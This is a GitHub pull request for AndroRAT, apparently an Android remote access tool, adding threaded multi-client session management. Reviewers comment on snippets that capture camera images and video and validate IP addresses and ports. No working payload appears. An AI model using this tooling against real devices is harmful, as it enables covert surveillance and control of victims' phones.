-
Notifications
You must be signed in to change notification settings - Fork 1.4k
Threaded multi-client session management #436
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Conversation
utlils.py
Outdated
| - By karma9874 | ||
| """ | ||
|
|
||
| pattern = '\"(\\d+\\.\\d+).*\"' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Not used?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hi
utlils.py
Outdated
| print("Unknown command. Type 'help' for available commands.\n") | ||
|
|
||
|
|
||
| # this function is no longer needed with the new threaded model |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Commented out code
utlils.py
Outdated
| sys.exit() | ||
|
|
||
| java_version = execute("java -version") | ||
| if java_version.returncode: |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Bonus point for failing if version < 8
utlils.py
Outdated
| flag = 1 | ||
| print(stdOutput("error")+"Not able to decode the Video File\n") | ||
| if flag == 1: | ||
| os.remove("Video_"+timestr+'.mp4') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
On decode failure, it attempts to remove "Video_"+timestr+'.mp4', but the file was written to "Dumps"+direc+"Video_"+timestr+'.mp4'.
utlils.py
Outdated
| print(stdOutput("info")+"\033[0mTaking Image") | ||
| timestr = time.strftime("%Y%m%d-%H%M%S") | ||
| flag=0 | ||
| filename ="Dumps"+direc+"Image_"+timestr+'.jpg' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
How about using os.path.join for Paths
utlils.py
Outdated
| return bool(m) and all(map(lambda n: 0 <= int(n) <= 255, m.groups())) | ||
|
|
||
| def is_valid_port(port): | ||
| i = 1 if port.isdigit() and len(port)>1 else 0 |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
1 is valid port, despite sounding strange. Range of assignable port is 1-65535
|
Sorry, I rushed to push this commit. Mistakenly left wrong |
Adds multi client functionality and new top menu for managing sessoins. Sessions are given a unique ID and can be listed and accessed with
listandattachcommands. Normal AndroRAT interpreter on each session with shell support.Recommend making upstream branch in case users still want single-session support. Kind of a quick hack, not sure how you would toggle session modes since I had to change get_shell() a lot.